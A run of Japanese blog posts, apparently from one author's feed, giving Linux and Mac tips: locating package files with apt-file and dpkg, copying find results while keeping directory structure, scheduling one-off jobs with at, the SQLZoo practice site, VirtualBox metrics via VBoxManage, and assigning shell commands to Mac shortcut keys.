transdecoder: /usr/lib/transdecoder/util/misc/rpart_scores.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/Analysis/DifferentialExpression/GOplot.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/Analysis/DifferentialExpression/Glimma.Trinity.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/Analysis/DifferentialExpression/plot_all_DE_MAplots.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/Analysis/DifferentialExpression/plot_all_DE_volcanos.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/Analysis/DifferentialExpression/validate_UP_subset.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/util/misc/plot_ExN50_statistic.Rscript
trinityrnaseq: /usr/lib/trinityrnaseq/util/misc/plot_strand_specificity_dist_by_quantile.Rscript

 

インストール済のパッケージから調べる場合は、以下のようにdpkgコマンドから調べることができる。
パッケージ名やディレクトリ名からも検索してしまうので、ちゃんとPATHを指定しないとノイズが多いので注意。

dpkg -S ファイル名
blacknon@bs-pub-ubuntu-03:~$ dpkg -S $(which ls)
coreutils: /bin/ls

2.指定したパッケージにどのようなファイルが含まれているかを調べる

先ほどとは逆に、指定したパッケージにどのようなファイルが含まれているかリストにして出力する場合。
aptで調べる場合、やはり先程と同じようにapt-fileで調べることになる。

apt-file list パッケージ名
blacknon@bs-pub-ubuntu-03:~$ apt-file list coreutils
coreutils: /bin/cat
coreutils: /bin/chgrp
coreutils: /bin/chmod
coreutils: /bin/chown
coreutils: /bin/cp
coreutils: /bin/date
coreutils: /bin/dd
coreutils: /bin/df
coreutils: /bin/dir
coreutils: /bin/echo
coreutils: /bin/false
coreutils: /bin/ln
coreutils: /bin/ls
...

 

インストール済のパッケージから提供しているファイルの一覧を取得する場合は、以下のようにdpkgコマンドを実行する。

dpkg -L パッケージ名
blacknon@bs-pub-ubuntu-03:~$ dpkg -L coreutils
/.
/bin
/bin/cat
/bin/chgrp
/bin/chmod
/bin/chown
/bin/cp
/bin/date
/bin/dd
/bin/df
/bin/dir
...

 

独学プログラマー Python言語の基本から仕事のやり方まで 独学プログラマー Python言語の基本から仕事のやり方まで

Linuxで、findで見つけたファイルをディレクトリ構造をたもったままコピー、移動させる方法4個

$
0
0

Twitter見てた時、そういう処理の仕方についてわからないというのを見かけたので、一応何かの時のために残しておくことにする。
通常、LinuxやMacに入ってるmvやcpでは、コピー先のディレクトリが無かったら作成するような機能はないので、ひと手間必要になる。

1.findからxargsを使ってコピー、移動させる場合

findからxargsに対象のファイルPATHを渡して、それをcp、mvを使ってコピーや移動をさせる場合。
この場合、コピー時にディレクトリが無いとエラーになってしまうので、一度mkdirで(フォルダがない場合に)生成させる必要がある。
以下、サンプルコード(mvの場合は、cpのとこを書き換え)。

cd /path/from; find ./ -type f ... | xargs -I@ bash -c 'DIR=/path/to/dir;mkdir -p $DIR/$(dirname @);cp @ $DIR/@'

 

ちゃんとシェルスクリプトとかで書いて対応するなら、forやwhileを使ってやるといいだろう(xargsだと都度プロセス立ち上げるから遅いし)。

find ./ -type f ... | while read -r var;
do
  dir=/tmp/test_3;
  mkdir -p $dir/$(dirname $var);
  cp $var $dir/$var;
done

2.findからrsyncを利用してコピーさせる場合

findの結果に対し、ディレクトリの同期等を行うツールであるrsyncを使って、ディレクトリ構造とセットでコピーすることもできる。
以下、サンプルコード。

rsync -R $(find ./ -type f ...) /path/to/dir

 

mvと同等の処理(コピー後にオリジナルを削除する)場合は、「–remove-source-files」オプションを付与する。

rsync --remove-source-files -R $(find ./ -type f ...) /path/to/dir

 

パイプから渡す場合、コマンド置換してるところをcatにしとけばいいだろう。

3.findからcpの代わりにinstallコマンドを指定する

Makefileなどでよく利用されるinstallコマンドでは、コピー時にPATHがないとディレクトリを自動で作成するオプション(-D)が用意されている。
このため、cpの代わりにxargsから渡してやると、比較的カンタンにディレクトリ構造ごとコピーができる。

find ./ --type ... | xargs -I@ install -D @ /path/to/dir/@

 

元ファイルの削除をする機能はないので、必要であれば別途findからrmに渡してやるといいだろう。

4.findからtarによるアーカイブ化→展開を利用する場合

tarはディレクトリ構造を保持するので、それを利用する場合。
以下のように、標準入出力でtarのアーカイブ→展開をしてやればいい。

tar cf - $(find ./ -type f -name ...) | tar xf - -C /path/to/dir

 

こちらも、元ファイルの削除が必要な場合は別途対応が必要。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

atコマンドで覚えておきたい使い方6個

$
0
0

Linuxなどで定期的に特定のプログラムを実行したい場合、外部のジョブシステム(JP1だったりRundeckだったり)やcronで処理をすることが多いだろう。
だが、特定の日時に1度だけ実行したい、という場合は、atコマンドという日時を指定して、一度だけプログラムを実行させるコマンドを利用する場合が多い。今回は、そのatコマンドを使う上で覚えておきたい使い方をまとめてみる。

なお、ここではatと同じパッケージに含まれるatq、atrm、batchコマンドについても触れる。

1.基本的な使い方

最初にも記述したことではあるが、atコマンドは指定した時間にジョブを実行するためのコマンドだ。cronは曜日や月、日を指定して繰り返し実行させるためのプログラムだが、このatコマンドは指定日時に一度だけジョブが実行される。
以下のような書き方で指定時刻を指定する。時刻指定後は対話型インターフェイスに入るので、そこで実行する内容について記述する(対話型インターフェイスはCrtl+Dで終了)。

at 時刻

 

指定できる時刻指定フォーマットは以下のような形式だ。
日本人にはちょっと馴染みのない形式ばっかりなのでちょっと戸惑う…(YYYY/MM/DDあたりもあればいいのに)。

HH:MM # 当日の時刻
HH:MM YYYY-mm-dd
HH:MM mmddYYYY
HH:MM mm/dd/YYYY
HH:MM mm.dd.YYYY

 

その他、明日のX時とか、あとN時間後などの相対時間指定もできる。
以下、一部抜粋。

now + 10minutes # 10分後
12:00 + 3days # 3日後の12:00
tomorrow # 明日の同じ時間
teatime # 次の16:00
noon # 次の12:00(お昼)
midnight # 次の24:00

 

また、-tオプションを使用することで、YYYYMMDDhhmmssというフォーマットで時刻の指定ができる。
以下の例では、2020年01月02日 03時04分を指定している。

at -t 202001020304

 

2.ジョブを確認する

現在登録されているジョブの一覧を確認する場合は、以下のコマンドを実行する。

at -l
atq

 

ジョブの内容について確認する場合は、以下のようにジョブ番号を指定する。

at -c <ジョブ番号>

 

3.ジョブを削除する

ジョブを削除する場合は、以下のようにジョブ番号を指定してコマンドを実行する。

at -r <ジョブ番号>
at -d <ジョブ番号>
atrm <ジョブ番号>

 

4.時刻ではなく、負荷レベルで実行タイミングを指定する

以下のようにコマンド実行すれば、ジョブの実行タイミングを時刻ではなく、システム負荷が低いタイミングに処理させるよう指定することもできる。

at -b
batch

5.利用できるユーザを制限する

atコマンドは、/etc/at.arrowというファイルに記載されているユーザのみ実行可能にしたり、/etc/at.denyというファイルに記載されているユーザは実行できないようにする、といった制限もできる。
(といっても、あまり使わなそうな気もするが…)

 

6.ジョブで実行する内容をファイルで指定する

ジョブで実行させる内容を、ファイルで指定する場合は-fオプションを付与する。

at HH:MM YYYY-mm-dd -f /path/to/file

 

また、プロセス置換を利用することでコマンドから直接実行内容を指定できる。

at HH:MM YYYY-mm-dd -f <(echo command...)

 

[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識 [試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識

ブラウザ上からSQLをいじって学べる学習サイト『Sqlzoo』

$
0
0

たま~に、リアルなデータが入っておらず、適当なデータしか入ってないテーブルに対してSQLを実行し、どういう感じに書けばうまく動作するのかを確認したりしたいことがある。
こういう時、だいたい今までは適当な仮想マシンとかにDBインストールして、適当なデータ突っ込んだテストDBを作ったりしてたのだけど、それもちょっと面倒くさい。なんかいい方法ないかなと調べてみたところ、そういったときにも使えそうなSQLの学習サイト『SQLZOO』というサイトを見つけた。
どうやら日本語に翻訳もされてるようだ。こんなサービスがあるとは、知らなかった…。

使い方は簡単で、学びたい内容のページを開き、もともと記述されているSQLをお題に沿ったものに書き換えてやり、「Submit SQL」ボタンを押下するだけだ。

 

ちなみに、アカウントを作成してないとうまく動かないのかもしれない(匿名ユーザでやったら応答が無かった…)が、どうやらSQLエンジンも変更できるらしい(デフォルトではMySQL)。右上の設定画面のところから選択できるようで、MySQL、Oracle、SQL Server、MySQL at Amazonが選択できるらしい。

さらに調べたところ、SQLインジェクションの学習ができるページも用意されているらしい(でもちょっと古そうだ…)。
へー…。なお、実際にSQLを叩いて試せるのは簡単なログインページのものだけのようだ(試せそうなページもあったけど、古いのかChromeだとうまく動作しなかった)。

 

SQLを実際に叩いて学ぶといっても、テストデータの用意が面倒だったりするので、こういうサービスは結構いいんじゃないだろうか。

 

達人に学ぶSQL徹底指南書 第2版 初級者で終わりたくないあなたへ (CodeZine BOOKS) 達人に学ぶSQL徹底指南書 第2版 初級者で終わりたくないあなたへ (CodeZine BOOKS)

VirtualBoxでVMのパフォーマンス情報を確認する

$
0
0

最近は仮想マシンをVirtualBoxで使うことが多いのだけど、VMのパフォーマンスを確認する場合、残念ながらVirtualBoxはパフォーマンスをGUIで確認はできないようだ。
で、調べてみたところこういった場合はVBoxManageコマンドから確認するようだ。

VBoxManageはVirtualBoxをインストールしたら一緒に入ってくるので、コンソール上で以下のようにコマンドを実行してやればいい。
(以下の例では、3秒ごとに情報を出力させている)

VBoxManage metrics collect -period 3 "VMName" # 全項目を出力する
VBoxManage metrics collect -period 3 "VMName" CPU/Load/User,RAM/Usage/Used ... # 指定したメトリクスだけ出力する(カンマ区切り)

-periodで出力の間隔を秒単位で指定することができるので、上の例では3秒で指定している。
指定できるオプションは以下。

  • list … 出力するメトリクスを先頭に表示する
  • period … メトリクスの出力間隔の指定(秒単位)
  • samples … 取得するサンプル数
  • detach … バックグラウンドで取得する(metricsのsetupサブコマンドと同様の処理になる)

 

指定できるメトリクスについては、metricsのlistサブコマンドで確認できる。

VBoxManage metrics list

 

【参考】


Chapter 8. VBoxManage - www.virtualbox.org

 

Parallels Desktop 14 Retail Box JP(通常版) Parallels Desktop 14 Retail Box JP(通常版)

Macでショートカットキーにコマンドやスクリプトの実行を割り当てる

$
0
0

Mac OS Xで、ごくたまにショートカットキーに特定のコマンドを割り当てたいということがある。
ただ、OS Xのショートカットキー登録はメニューの機能名で登録する場合が多く、特定のコマンドを実行させるよう指定することはできない。
で、なんか方法あるのかなーと思って調べて見たところ、以下の2パターンがあるようだ。

1.Automatorでシェルスクリプトを書いて登録する場合

MacOS Xでは、操作を自動化できるAutomatorという機能が用意されている。
この機能では、AppleScriptやシェルスクリプトを登録でき、さらに「サービス」としてその自動化した処理を登録できるので、それをショートカットキーとして登録すれば任意のコマンドやスクリプトをショートカットキーに割り当てることができる。

使い方は簡単で、Automatorを開いたら最初に書類の種類を「クイックアクション(Mojaveでサービスから名称が変わったらしい)」を選択。

 

ワークフロー(自動化する処理の流れ)の編集画面に遷移するので、そこで「ライブラリ」>「ユーティリティ」>「シェルスクリプトを実行」を選択する。

 

あとは、実行させたいスクリプトの内容(コマンドであれば実行させたい内容を一行だけ記述すればいい)を記述する。
保存したら、あとはシステム環境設定から「キーボード」>「ショートカットキー」>「サービス」よりショートカットキーとしてそのサービスを実行させるようにすればいい。

 

2.『iCanHazShortcut』を利用する

Automatorは最初から入っているツールで、基本的な処理はあちらで対応できるのだけど、一部のコマンドについてはうまく動かない事がある(スクリーンロックのコマンドとかがそうだった)。
その場合、『iCanHazShortcut』を利用するとうまくいくかもしれない。

simple shortcut manager for macOS. Contribute to deseven/icanhazshortcut development by creating an account on GitHub.
deseven/icanhazshortcut - GitHub

 

こちらを使うと、システム環境設定で一元管理ができなくなってしまうのが問題だけど、Automatorよりも正常に登録できることが多い印象がある(スクリーンロックのコマンドとかもそ(ry)。
とりあえずどちらかを使えば登録できると思う。

 

Apple MacBook Air (13インチ, 1.6GHzデュアルコアIntel Core i5プロセッサ, 256GB) - スペースグレイ Apple MacBook Air (13インチ, 1.6GHzデュアルコアIntel Core i5プロセッサ, 256GB) - スペースグレイ
Viewing all 1028 articles
Browse latest View live